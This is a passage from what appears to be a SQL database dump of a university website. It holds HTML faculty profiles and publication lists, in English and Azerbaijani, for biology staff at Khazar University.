Isoniazid as a substrate and inhibitor of myeloperoxidase: identification of amine adducts and the influence of superoxide dismutase on their formation.<em>&nbsp;J. Biochemical pharmacology,</em>&nbsp;84(7): pp.949-60.&nbsp;<a href=\"http://europepmc.org/abstract/MED/22846601\" target=\"_blank\">doi:&nbsp;10.1016/j.bcp.2012.07.020</a></p><p>Stamp LK,&nbsp;Khalilova I,&nbsp;Tarr JM, Senthilmohan R,&nbsp;Turner R,&nbsp; Haigh RC,&nbsp; Winyard&nbsp;PG, Kettle AJ.&nbsp;(2012). Myeloperoxidase and oxidative stress in rheumatoid arthritis.&nbsp;&nbsp;<em>J.Rheumatology (Oxford, England)</em>, 51(10): pp. 1796-803.&nbsp;<a href=\"http://europepmc.org/abstract/MED/22814531\" target=\"_blank\">doi:&nbsp;10.1093/rheumatology/kes193</a></p><p>Orudzhev AG,&nbsp;Guseĭnova EE,&nbsp;Khalilova<a href=\"http://www.ncbi.nlm.nih.gov/pubmed/?term=Khalilova%20IS%5BAuthor%5D&amp;cauthor=true&amp;cauthor_uid=12715396\">&nbsp;</a>IS,&nbsp;Dzhavadov SA. (2003). Assessment of endogenous intoxication and thrombocyte functions in beta-thalassemia.&nbsp;<em>J.Clinical Laboratory Diagnostics,&nbsp;</em>(3):39-41. Russia, ISSN 0869-2084.&nbsp;<a href=\"http://www.researchgate.net/publication/10787818_Assessment_of_endogenous_intoxication_and_thrombocyte_functions_in_beta-thalassemia\" target=\"_blank\">PMID:12715396</a></p><p>Khalilova IS.&nbsp;(2002). Estimation of the proteolytic system in blood during beta thalassemia.&nbsp;<em>J.Actual Problems of Hematology and Transfusiology</em>, pp.81-85, Azerbaijan.</p><p>Khalilova IS, Orujov AG, Huseynova EE, Alekperova GA. (2002). Immunobiological violations of phormennous elements of blood during beta thalassemia.&nbsp;<em>Journal of Azerbaijan Biophysical Association,</em>&nbsp;pp.215-223, Azerbaijan.</p><p>Guseinova EE,&nbsp;Khalilova IS, Dzhavadov SA. (2002). Proteolytic blood system in hemoglobinophaty.&nbsp;<em>J. Haematology and Transfusiology</em>, vol.47, N. 4, pp.33-35, Russia&nbsp;ISSN 0234-5730.</p><p>Khalilova IS, Jokharidze TZ, Gelfgat EB, Javadov SA. (1994). Development of experimental model of the immunosorbent for removal antibodies to insulin.&nbsp;<em>J. Immunology</em>, N.3, pp.58-61, Russia, ISSN 0206-4952.</p>  <p><strong><br></strong></p><p><strong>Konfrans Materialları: Abstrakt</strong></p><p>Stamp LK,&nbsp;<span style=\"box-sizing:border-box\">Khalilova I,</span>&nbsp;Turner R, Chapman P, O’Donnell J, Kettle A.&nbsp;(2014).<em style=\"box-sizing:border-box\">&nbsp;</em>&nbsp;Oxidative Stress from Use of Allopurinol - Is There a Reason for Patients with Gout to Take Vitamin C?&nbsp;<em style=\"box-sizing:border-box\">American College of Rheumatology/Association of Rheumatology Health professionals</em>, ACR/ARHP ANNUAL MEETING.</p><p>Stamp LK,&nbsp;Khalilova I,&nbsp;Zhang M, Turner R, Kettle A.&nbsp;(2012).&nbsp;Oxidation of urate to allantoin by myeloperoxidase in gout.&nbsp;<em>Arthritis &amp; Rheumatism</em>, vol.64,&nbsp;November 9-14, Suppl 10:1903, DOI: 10.1002/art.39635.</p><p>Kettle AJ, Turner R, Gandell CL,&nbsp;Khalilova I,&nbsp;Harwood DT, Chapman AL, Winterbourn CC, Sly DT. (2011).&nbsp;Oxidation of glutathione in the airways of young children with cystic fibrosis.<em>&nbsp;American Thoracic Society International Conference Abstracts - B33. Oxidants, Oxidases&nbsp; and&nbsp;</em><em>Redox Regulation of Lung Disease,</em>&nbsp;A2793,&nbsp;<a href=\"http://www.atsjournals.org/doi/abs/10.1164/ajrccm-conference.2011.183.1_MeetingAbstracts.A2793\" target=\"_blank\">10.1164/ajrccm-conference. 183.1_MeetingAbstracts.A2793</a>.</p><p>Stamp LK,&nbsp;Khalilova I,&nbsp;Kettle A. (2010). Acute Gout Results In Increased Plasma Myeloperoxidase: A Potential Mechanism for Increase Cardiovascular Risk?&nbsp;<em>Supplement,</em><em>&nbsp;Abstracts of the American College of Rheumatology/Association of Rheumatology Health Professionals Annual Scientific Meeting Atlanta</em>, Georgia.&nbsp;&nbsp;<a href=\"http://www.blackwellpublishing.com/acrmeeting/abstract.asp?MeetingID=774&amp;id=89520\" target=\"_blank\">DOI: 10.1002/art.28638</a></p><p>Khalilova I, Mocatta T, Marshall C, McClean D, Winterbourn C, Kettle A. (2009). Detection of active and inactive myeloperoxidase in plasma,&nbsp;<em>5th&nbsp;Joint Meeting of the Societies for Free Radical Research Australasia and Japan Mutagenesis and Experimental Pathology Society of Australia,&nbsp;</em>Sydney<em>,&nbsp;</em>p.147-148.</p>  <p><strong><br></strong></p><p><strong>Konfrans Materialları - Şifahi Təqdimatlar</strong></p><p style=\"box-sizing:border-box;margin:0px 0px 10px;font-size:medium;color:#252525;font-family:\'times new roman\', times, serif;background-color:#ffffff\"><span style=\"box-sizing:border-box\">Khalilova IS</span>, Dickerhof N, Mocatta T, Kettle AJ. (2013).&nbsp;Pro-myeloperoxidase is present in circulation and a potential participant in cardiovascular disease.<em style=\"box-sizing:border-box\">&nbsp;Redox Conference</em><em style=\"box-sizing:border-box\">&nbsp;</em><em style=\"box-sizing:border-box\">of the Queenstown Molecular Biology Meeting Society</em>. Queenstown, New Zealand.<em style=\"box-sizing:border-box\">&nbsp;</em></p><p>Khalilova IS, Dickerhof N, Mocatta T, Kettle AJ.&nbsp;(2012).&nbsp;Detection of pro-myeloperoxidase in circulation.&nbsp;<em>Oxygen Theme Meeting, University of Otago</em>, Dunedin, New Zealand.</p><p>Khalilova I, Chambers ST, Murdoch DR, Kettle AJ.&nbsp;(2010).&nbsp;Measurement of myeloperoxidase in urine for the detection of urinary tract infections.&nbsp;<em>19th Annual Conference of the Societies for Free Radical Research Australasia<em>,&nbsp;</em></em>Akaroa, New Zealand.</p>  <p><strong><br></strong></p><div><br></div><div><br>    </div><p><br></p>'),(811,557,'az','Müşfiq Orucov','Müşfiq Orucov','<p>Email:&nbsp;<a href=\"mailto:Mushfig.Orujov@khazar.org\">Mushfig.Orujov@khazar.org<img src=\"/files/biolog_depart/musviq_orucov_yeni.jpg\" style=\"width:150px;height:192px;margin:7px;float:right\"></a></p><p>Tel: +994 12 421 6335 (242)</p><p><br></p><p>Müşfiq Orucov MD dərəcəsini&nbsp;(1998) və Tibb Elmlərində&nbsp;PhD dərəcəsini (Histologiya, Sitologiya və Hüceyrə Biologiyası)&nbsp;Azərbaycan Tibb Universitetindən (2004) almışdır. &nbsp;</p><p>Doktorantura pilləsindən sonra Histopatologiya üzrə təlim almışdır (Institute of Pathology of Papageorgiou General Hospital of Thessaloniki, Greece (Erasmus Mundus External Cooperation Window Program, Lot 5 (2008)).</p><p>İnönü Universitetində (Malatya, Türkiyə) Tibbi Patologiya professional bacarıqların inkişafı üzrə treninq keçmişdir (2011).</p><p>Avstriyada Patologiya üzrə Salzburq Klevland Tibb Seminarında iştirak etmiş (2014) və 2009-2013-cü illərdə Mərkəzi Gömrük Xəstəxanasında Patoloq kimi işləmişdir.</p><p>Hal-hazırda Azərbaycan Tibb Universitetinin Patoloji Anatomiya kafedrasında dosentdir və Xəzər Universitetinin Bioloji Elmlər kafedrasında mühazirəçidir.</p><p>14 illik tədris təcrübəsi vardır və &nbsp;Patologiya, Histologiya və Embrionologiya, Sitologiya, İnsan anatomiyası,&nbsp;Tibb və Biologiya tələbələri üçün Tibbi Biliklərin Əsasları fənlərini tədris etmişdir.</p><p>8 çap olunmuş jurnal məqalələri, 17 konfrans materialı və 2 dərsliyi vardır.</p><p><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:15.0pt;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\"><br></p>\r\n<p><br></p>'),(812,557,'en','Mushfig Orujov','Mushfig Orujov','<div><br></div><div><p>Email: <a href=\"mailto:Mushfig.Orujov@khazar.org\">Mushfig.Orujov@khazar.org</a></p>\r\n<p>Tel: +994 12 421 6335 (242)<strong></strong></p>  <br></div><div><p><strong><img src=\"/files/image/musviq_orucov_yeni.jpg\" style=\"width:150px;height:192px;margin:4px;float:right\">Dr Mushfig Orujov&nbsp;</strong>received his MD (Medical Doctor) degree from Azerbaijan Medical University\r\n(1998), and a Ph.D. in Medical Sciences (division – Histology, Cytology and Cell\r\nBiology) from the Azerbaijan Medical University (2004).</p>\r\n<p>He has had Postdoctoral Fellowship on Histopathology\r\nat the Institute of Pathology of Papageorgiou General Hospital of Thessaloniki,\r\nGreece (Erasmus Mundus External Cooperation Window Program, Lot 5 (2008).&nbsp;</p>\r\n<p>He has also had training in the professional skill\r\nimprovement at Department of Medical Pathology (Pathology Laboratory of Turgut\r\nOzal Medical Centre) of Inonu Iniversity, Malatya, Turkey (2011).&nbsp;</p>\r\n<p>Dr Orujov participated in Salzburg Cleveland Medical\r\nSeminar in Pathology, Salzburg, Austria (2014). He has worked as a Pathologist\r\nat Central Customs Hospital (Baku, 2009-2013).&nbsp;</p>\r\n<p>Currently, he is an Associate Professor in Department\r\nof Pathological Anatomy of Azerbaijan Medical University and Lecturer in Department\r\nof Biological Sciences of Khazar University.&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:15.0pt;background:white\"\"=\"\">He has 14 years teaching experience, and taught Pathology;\r\nHistology and Embryology; Cytology; Human Anatomy; Life Science courses for Medical\r\nand Biological students.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:15.0pt;background:white\"\"=\"\">He has 8 published journal articles, 17 conference\r\ncontributions (published proceedings &amp; oral presentations), and 2\r\ntutorials.</p>\r\n<p>&nbsp;</p>  <br></div>'),(813,558,'en','Seadet Khudaverdiyeva','Seadet Khudaverdiyeva','<div style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><p><span style=\"font-size:14.0pt;font-family:\'Arial\',\'sans-serif\'\"><br></span></p><p>Email:\r\n<span style=\"text-decoration:none;background:#fffffff\"><a href=\"mailto:Saadat.Khudaverdiyeva@khazar.org\">Saadat.Khudaverdiyeva@khazar.org</a></span></p>\r\n<p>Tel: +994 12 421 6335 (242)<strong></strong></p><p><br></p>  <p><strong><img src=\"/files/image/14_12_24_Seadet_Khudaverdiyeva.jpg\" style=\"width:150px;height:208px;margin:7px;float:right\"></strong></p></div><div><p style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><strong>Dr. Saadat R.Khudaverdiyeva</strong>&nbsp;is a lecturer at the Department of Biological Sciences. The field of research and professional activities of Dr. S.R.Khudaverdiyeva include Biophysics (in particular, Radiation &nbsp;Biophysics); molecular biology; General ecology and radioecology; development of methods, including methods of bioindication (based on PCR, molecular hybridization and etc.) for environmental monitoring of contaminated areas; the development of immunological methods (ELISA, RIA) for the diagnosis of bacterial diseases, as well as various agents and components of cells.</p><p style=\"font-size:medium;font-family:arial, helvetica, sans-serif\">Dr. S.R.Khudaverdieva conducted collaborative research in the framework of joint international projects and research programs with scientists and specialists of the Russian Federation (Institute of Epidemiology and Microbiology, named after L.Pasteur,&nbsp; Ministry of Health of the Russian Federation, St. Petersburg), USA (University of Nebraska-Lincoln), Germany (Institute for Transuranium Elements), Austria (IAEA Laboratories in Seibersdorf), etc. S.R. Khudaverdieva worked as a temporary expert for WHO from Azerbaijan (the Commission \"Environment and Health\").</p><p style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><strong>Education:</strong><strong>&nbsp;</strong></p><ul style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><li>Postgraduate study Institute of Botany of ANAS&nbsp;Specialty “Molecular biology”.</li><li>PhD on biological sciences (National High Attestation Comission, 2006)</li><li>Leningrad (St.-Petersburg) State University, Russia, Biology and soil science faculty, Department of biology. Diploma with Honors</li></ul><p style=\"font-size:medium;font-family:arial, helvetica, sans-serif\">&nbsp;</p><p style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><strong>PROFESSIONAL WORK EXPERIENCE</strong>:</p><ul style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><li>Institute of Radiation Problems of ANAS - Senior scientist</li><li>Institute of Radiation Problems of ANAS - Scientific employee</li><li>Institute of botany of ANAS - Scientific employee</li><li>Institute of botany of ANAS - Junior scientist</li><li>Institute of botany of ANAS - Senior laboratory assistant</li><li>Sector of physical-chemical biology, the Institute of physics of ANAS - Senior laboratory assistant</li></ul><p style=\"font-size:medium;font-family:arial, helvetica, sans-serif\">&nbsp;</p><p style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><strong>A</strong><strong>ctivity:</strong><strong>&nbsp;</strong></p><ul style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><li>Trainings on “Using Student Assessment Results and Monitoring Studies for Managements Decisions” organized by the Ministry of Education and The World Bank, trainer (Sumgait (Kubatly), Goranboy, Ganja, Ganja (Kalbajar), Dashkesan, Azerbaijan)</li><li>2008-2010, Institute of Radiation Problems of ANAS, AZERBAIJAN-U.S. BILATERAL GRANTS PROGRAM /&nbsp; Author and participant of the project&nbsp; \"Development of new bioindications systems for&nbsp; monitoring of the radioactive polluted areas of Absheron”</li><li>2002 – 2004, Berlin, Hague, Moscow, St.-Petersburg. Temporary expert-ecologist WHO Commission \"Environmental quality and health” from Azerbaijan</li><li>Leningrad University (St.-Petersburg), Russia. Chairman of trade Union of students-biologists</li><li>Institute of Epidemiology and Microbiology named after L. Pasteur, St.-Petersburg, Russia. Course and diploma works on the development and optimization of the implementation of the ELISA kit for antigen Sh.sonne</li></ul><p style=\"font-size:medium;font-family:arial, helvetica, sans-serif\">&nbsp;</p><p style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><strong>Training and Overseas Experience:</strong></p><ul style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><li>Austria, the headquarters of the IAEA in Vienna, the IAEA laboratory in Seibersdorf and Institute for transuranium elements, Karlsruhe(Germany). Training courses on “Radioecology and radiation monitoring” Certificate of Achievement</li><li>Institute of Cytology, RAS, St. Petersburg. Internship on the techniques of molecular hybridization</li></ul><p style=\"font-size:medium;font-family:arial, helvetica, sans-serif\">&nbsp;</p><p style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong><strong>Selected publications:</strong></p><ol style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><li>Kurbanov M.R., Khudaverdieva S.R., Aliev L.A. Antropogenical and natural radioactive pollution of Apsheron’s environment.&nbsp; Материалы XI Международного Симпозиума «Нетрадиционное растениеводство. Эниология. Экология и здоровье», Симферополь, г.Алушта, 2002 , с.124-126</li><li>Худавердиева С.Р., Алиев Л.А. и др. Влияние малых доз радиации на биоморфологические особенности растений. Доклады НАН Азербайджана, Серия Экология. 2003, LIX, 5-6&nbsp;&nbsp; с.227-239</li><li>С.Р.Худавердиева и др. Исследование кинетики сигнала ЭПР1 бобовых растений, подвергнутых воздействию эксимерного лазера&nbsp; Известия НАН Азерб., серия биол.науки, 2005&nbsp;&nbsp;&nbsp;&nbsp; №3-4, с.161-166</li><li>Худавердиева С.Р., Алиев Л.А. и др. Исследование кинетики окислительно-восстановительных превращений Р700<sup>+</sup>&nbsp;в листьях высших растений при УФ-В облучении XVIII Пущинские чтения по фотосинтезу и Всероссийская&nbsp; конференция «Преобразование энергии света при фотосинтезе» Тезисы докладов, Москва, 2005, с.64-65</li><li>Худавердиева С.Р.,&nbsp; Курбанов М.Р. и др. ПЦР-исследования&nbsp; ядерной&nbsp; ДНК&nbsp; некоторых&nbsp; растений, хронически облученных малыми дозами ионизирующей радиации. Докл. АН&nbsp; Азербайджана, Сер. Биофизика, 2005, №2, &nbsp;с.92-102.</li><li>Курбанов&nbsp; М.Р.,&nbsp; Худавердиева&nbsp; С.Р.&nbsp; Влияние повышенного гамма радиационного&nbsp; фона&nbsp; на всхожесть семян видов A. pseudoalhagi, E. angustifolia,&nbsp; Zygophyllum и некоторых других растений. Материалы Международной&nbsp;&nbsp; конференции «Биологические эффекты малых доз ионизирующей радиации и радиоактивных загрязнений среды», Сыктывкар, 2006&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; , с.101-102</li><li>Худавердиева С.Р., Алиев Л.А., Курбанов М.Р. Изучение начальных ростовых процессов у растений, произрастающих в условиях повышенного естественного&nbsp; радиационного фона. Материалы Межд. Конф. «Биологические эффекты малых доз ионизирующей&nbsp; радиации и&nbsp;&nbsp; радиоактивных&nbsp; загрязнений среды», Сыктывкар&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; , 2006, с.129-130</li><li>Худавердиева С.Р., Курбанов М.Р. и др. Изучение влияния повышенного естественного радиационного фона на ядерную ДНК видов A.pseudoalhagi, E.angustifolia, Zygophyllum с применением специфичных STR –праймеров микросателлитных локусов AG -110. Материалы V съезда по радиационным исследованиям, Москва&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; , 2006, &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; с.77&nbsp;&nbsp;</li><li>Худавердиева С.Р. и др. Роль хинонов мембран растительных клеток при УФ облучении&nbsp; &nbsp;Материалы международной научной конференции «Молекулярные, мембранные и клеточные основы функционирования биосистем», Минск, &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2006, с. 316-318</li><li>&nbsp; С.Р.Худавердиева и др. Роль фотодыхания в повышении устойчивости растений к действию УФ-В радиации и повышенного&nbsp;&nbsp; радиационного фона.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mатериалы межд. конференции&nbsp; “Photosynthesis in the Post Genomic Era: Structure and Function of&nbsp; Photosystems”, Москва, 2006, с.&nbsp;248</li><li>&nbsp;S.R.Khudaverdieva, A.A.Garibov et al. The adaptive answers of plants to the influence of small doses radiation factors. Science without borders. Transactions of the International Academy of Science H&amp;E., Innsbruck. 2005/2006, V.3,&nbsp;&nbsp; p.167-175</li><li>&nbsp;Khudaverdieva S.R. and et al..Systems of bioindication in monitoring at pollution of environment with the natural radionuclides, The fifth Eurasian conference and its application. Ankara, 2008</li><li>&nbsp;Qəribov A.A., XudaverdiyevaS.R. və b. Abşeron yarımadasının şimal-qərb hissəsi təbii mühitinin radioekoloji tədqiqatları. AMEA Xəbərləri, biologiya elmləri seriyası,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2008,&nbsp;&nbsp; № 1-2,&nbsp;&nbsp; s. 152-158</li><li>&nbsp;S.R.Khudaverdieva and et al. Use of EPR Spectra and PCR patterns of plants in bioindication of radioactive contamination, 2nd International Biophysics Congress and Biotechnology at GAP and the 21st National Biophysics Congress, Turkey,&nbsp;&nbsp;<a href=\"http://www.ibc2009.org/oral.pdf\">www.ibc2009.org/oral.pdf</a>&nbsp;2009 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</li><li>&nbsp; Məmmədov&nbsp; Ə.Ç.,&nbsp; Xudaverdiyeva S.R. və b.&nbsp; Xroniki&nbsp; qamma&nbsp; şüalanmaya məruz qalmış Scirpus Lacustris&nbsp; və Foeniculum Vulgare&nbsp;&nbsp; bitkilərində&nbsp; DNT strukturunda,&nbsp; gecikmiş&nbsp; fluoressensiya parametrlərində&nbsp;&nbsp; və&nbsp; sərbəst&nbsp; radikal&nbsp; proseslərində baş&nbsp;&nbsp; verən&nbsp; dəyişikliklər, АМЕА&nbsp; Xəbərləri,&nbsp;&nbsp;Biologiya elmləri seriyası, &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2010, № 3-4. &nbsp;&nbsp;</li><li>&nbsp;Абдуллаев М.А., Худавердиева С.Р. и др.&nbsp; Поведение&nbsp; естественных и искусственных радионуклидов в почвах Имишлинского района&nbsp; Кура-Араксинкой низменности Азербайджана. II Международная научно-практическая конференция&nbsp; «Современные проблемы безопасности&nbsp;жизнедеятельности: теория и практика», &nbsp;Казань, 2012, c.6-13.</li><li>Абдуллаев М.А., Самедов А.Н., Худавердиева С.Р. Естественные и искусственные радионуклиды в биогеоценозах Апшеронского полуострова (на примере Сабунчинского района г.Баку). Сборник научных трудов Международной Научно-практической Конференции «Экологическое&nbsp;состояние природной среды и научно-практические аспекты современных мелиоративных технологий», Рязань,&nbsp;&nbsp; 2012, c.343-347</li></ol>  <br></div>'),(814,558,'az','Səadət Xudaverdiyev','Səadət Xudaverdiyev','<p>Email:&nbsp;<a href=\"mailto:Saadat.Khudaverdiyeva@khazar.org\">Saadat.Khudaverdiyeva@khazar.org</a></p><p>Tel: +994 12 421 6335 (242)</p><img src=\"http://www.khazar.org/files/biolog_depart/14_12_24_Seadet_Khudaverdiyeva.jpg\" style=\"width:150px;height:208px;margin:7px;float:right\"><div><br><div><div><p><br></p><p>Səadət Xudaverdiyeva Bioloji Elmlər Departamentində mühazirəçidir. Biofizika, Molekulyar Biologiya, Ümumi ekologiya və radioekologiya, çirklənmiş ərazilərin ekoloji monitorinqi üçün metodların hazırlanması, bakterioloji xəstəliklərin diaqnozu üçün immunoloji metodların hazırlanması onun əsas tədqiqat sahələridir.</p><p>S. Xudaverdiyeva beynəlxalq layihələr və tədqiqat proqramları çərçivəsində Rusiya, Amerika, Almanya, Avstriyanın alim və ekspertləri ilə qarşılıqlı təqdiqatlar aparmışdır.&nbsp;</p><p><br></p>   </div></div></div>'),(815,559,'en','Gunay Akbarova','Gunay Akbarova','<div><br></div><div><p>Dr. Gunay Akbarova is an Associate Professor of Genetics, a professor of Russian Academy of Natural History and lectures at undergraduate and postgraduate levels. She got an MSc and BSc from Baku State University in 1999 and in 1997, respectively. Dr. Akbarova worked on her thesis named “Features of genom`s protection by extract of kiwi fruits on early and the final stages of process of appearance and formation of DNA<img src=\"/files/image/14_12_24_Gunay_Akbarova.jpg\" style=\"width:150px;height:200px;margin:7px;float:right\"> damages” and got her PhD from Institute of Genetic resources and Institute of Botany of Azerbaijan National Academy of Sciences in 2004. Dr.Akbarova is finishing her work on post-doctorate thesis with a focus on hereditary diseases and birth malformation among population of some regions of Azerbaijan.</p><p>The scope of her research interests includes human and molecular genetics, molecular anthropology, stem cells and anti-mutagenesis.</p><p>Dr.Akbarova was a visiting researcher at San Camillo-Forlanini Hospital of Molecular Medicine Department of Sapienza University (Italy) in 2013 and visiting faculty at Faculty of Science of Charles University in Prague (2011).</p><p>She was awarded the 2<sup>nd</sup>&nbsp;Mobility grant of Science Development Foundation under the President of the Azerbaijan Republic № EİF-Mob-2-2013-4(10)-13/06/3 (2013), a grant for participation in PROMISE Winter School 2013, \"Bridging between Information Retrieval and Databases\", Italy (2013) and a grant in the European Society of Human Genetics Fellowships Program: the 25<sup>th</sup>&nbsp;courses of Human Genetics, Italy (2012).</p><p>She was an inisiator of agreement between Baku State University and Milano-Bicocca University (Italy) in 2012, an organizer of the professional visit of professors and physicians group from San Camillo-Forlanini Hospital of Roma La Sapienza University (Italy) to Azerbaijan in 2013, an initiator and the responsible person for the scientific part of Agreement between Department of Genetics and theory of evolution of Baku State University and Department of Environmental Biology of Roma La Sapienza University (Italy) in 2014.</p>  <br></div>'),(816,559,'az','Gunay Akbarova','Gunay Akbarova','<div><br></div><div><p>Dr.Günay Hafiz qızı Əkbərova Genetika sahəsi üzrə dosent və Rusiya Təbiətşünaslıq Akademiyasının professorudur. Magistr və Bakalavr dərəcəsini, müvafiq olaraq 1999 və 1997-ci illərdə Bakı Dövlət Universitetində almışdır. Biologiya üzrə fəlsəfə doktoru diplomunu 2004-cü ildə AMEA-nın Botanika İnstitutunda almışdır. “DNT zədələnməsinin yaranma və formalaşmasının ilkin və son mərhələlərində kivi ekstraktı vasitəsi ilə<img src=\"/files/image/14_12_24_Gunay_Akbarova.jpg\" style=\"width:150px;height:200px;margin:7px;float:right\"> genomun müdafiəsinin xüsusiyyətləri” adlı PhD dissertasiyası AMEA-nın Genetik Ehtiyatlar İnstitutunda aparmışdır. Dr.Əkbərova hal-hazırda elmlər doktoru dərəcəsini almaq üçün dissertasiya işini yekünlaşdırır. Onun işi Azərbaycanın bəzi rayonlarının əhalisi arasında anadangəlmə qüsur və irsi xəstəliklərin yayılması və mutasiya tiplərinin öyrənilməsi sahəsində aparılır.</p><p>Tədqiqat maraqlarına insan və molekulyar genetika, molekulyar antropologiya, Sütun hüceyrələri, antimutagenez.</p><p>Dr. Əkbərova 2013 ildə Visiting researcher kimi İtaliyanın Sapienza Universitetinin Molekulyar Tibb kafedrasının San Camillo-Forlanini Xəstəxanasının Tibbi genetika Laboratoriyası bir müddət tədqiqat işi aparmış, 2011-ci ildə isə Çexiyanın Karl Universiteti (Praqa ş.), Faculty of Science-da Visiting professor proqramı üzrə iştirak etmişdir.</p><p>Günay Əkbərova 2013-cü ildə Azərbaycan Respublikasının Prezidenti yanında Elmin İnkişaf Fondunun İkinci mobillik qrantın № EİF-Mob-2-2013-4(10)-13/06/3, həmin il \"Bridging between Information Retrieval and Databases\", PROMISE Winter School 2013 Programının (Bressanone, İtaliya), 2012-ci ildə The European Society of Human Genetics Fellowships İnsan Genetikası üzrə 25-ci Beynəlxalq kurslarda iştirak etmək üçün proqramında qalib olmuşdur (Boloniya, İtaliya).</p><p>Dr.Əkbərova Bakı Dövlət Universiteti və İtaliyanın Milano-Bicocca Universiteti arasında 6.06.2012 tarixli universitetlər arası sazişməsinin təşəbbüskarı və İtaliyanın Roma Sapienza Universitetin San Camillo-Forlanini Xəstəxanasının bir qrup professor və həkimlərin 4-8 may 2013 il tarixində Azərbaycana olan işçi səfərlərinin təşkilatçısı olmuşdur. 2014-cü ildə isə o, İtaliyanın Roma Sapienza Universitetin Ekoloji biologiya departamenti və Bakı Dövlət Universitetinin Genetika və təkamül təlimi kafedrasının arasında imzalanmış sazişməsinin təşəbbüskarı və elmi hissəsinin rəhbəri olmuşdur.</p>  <br></div>'),(817,560,'en','Parvana Bakshaliyeva','Parvana Bakshaliyeva','<div><img src=\"/files/image/14_12_24_Parvana_Bakhshaliyeva.jpg\" style=\"width:150px;height:185px;margin:7px;float:right\"></div><div><br></div><div><p><strong>PhD\r\nstudent </strong></p><p><span style=\"color:#000000\">Email:</span>&nbsp;<a href=\"mailto:parvana.bakshaliyeva@khazar.org\">parvana.bakshaliyeva@khazar.org</a></p>\r\n<p>Tel: +994 12 421 6335 (242)</p>\r\n<p>She is investigating the genetics\r\nof phenylketonuria in&nbsp;newborn infants in Azerbaijan.</p></div><div><p><strong>Parvana\r\nBakhshaliyeva</strong> received her MD (Medical Doctor) degree from\r\nAzerbaijan Medical University (1997). She has participated in physicians’\r\ntraining programs focused on health at Advanced Training Institute for\r\nPhysicians, Baku, Azerbaijan (2003, 2011).&nbsp;\r\nCurrently she is a PhD student and an instructor in department of\r\nBiological Sciences at Khazar University, Azerbaijan. She is teaching Life\r\nScience course (BIO 315) for the Khazar University students.&nbsp;</p>  <br></div><div><br></div><div><br></div>'),(818,560,'az','Pərvanə Baxışəliyeva','Pərvanə Baxışəliyeva',''),(819,554,'az',' Nəşrlər',' Nəşrlər','<p><a href=\"http://www.khazar.org/en/menus/527/irada_khalilova\">İradə&nbsp; Xəlilova</a></p><p><a href=\"http://www.khazar.org/az/menus/1250/babek_elibeyov\">Babək Əlibəyov</a></p><p><a href=\"http://www.khazar.org/en/menus/918/javid_ocaghi_\">Cavid Ocaghi</a></p><p><a href=\"http://www.khazar.org/en/menus/917/huseyn_jafarov_\">Hüseyn Cəfərov</a></p>'),(4695,2786,'az','Babək Əlibəyov','Babək Əlibəyov','<p><strong>PUBLICATIONS AND PROJECT TITLES:</strong>&nbsp;<br></p><div><br></div><p>Refereed Journal Papers:&nbsp;</p><p>Transcriptomic and metabolic responses of <em>Staphylococcus aureus</em> in mixed culture with <em>Lactobacillus </em><em>plantarum</em>, <em>Streptococcus </em><em>thermophilus</em> and <em>Enterococcus </em><em>durans&nbsp;</em>in milk. Zdenkova, K.; <strong>Alibayov, B.</strong>; Karamonova, L.; Purkrtová, S.; Demnerová, K. J Ind. Microbiol. Biotechnol. (JIMB) 2016, 43 (9), 1237 - 1247.&nbsp;&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pubmed/27342241\" target=\"_blank\"><strong>doi:</strong><strong>&nbsp;</strong>10.1007/s10295-016-1794-y </a></p><p>Differences in transcription and expression of staphylococcal enterotoxin C in processed meat products. <strong>Alibayov, B.</strong>; Karamonova, L.; Hollerova, R.; Zdenkova, K.; Demnerova, K. LWT - Food Sci. Technol. 2015, 64(2), 578 - 585.<strong>&nbsp;</strong><a href=\"http://www.sciencedirect.com/science/article/pii/S0023643815004533\" target=\"_blank\"><strong>doi:</strong>&nbsp;10.1016/j.lwt.2015.06.026 </a></p><div><p>Molecular analysis of S<em>taphylococcus aureus</em> pathogenicity islands (SaPI) and their superantigens combination of food samples. <strong>Alibayov, B</strong>; Zdenkova, K; Sykorova, H; Demnerova, K. J. Microbiol. Methods. 2014, 107, 197 - 204.<strong>&nbsp;</strong><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/25447888\" target=\"_blank\"><strong>doi:</strong>&nbsp;10.1016/j.mimet.2014.10.014 </a></p><p>Expression and production of staphylococcal enterotoxin C is substantially reduced in milk. Valihrach, L.; <strong>Alibayov, B.</strong>; Zdenkova, K.; Demnerova, K. Food Microbiol. 2014, 44, 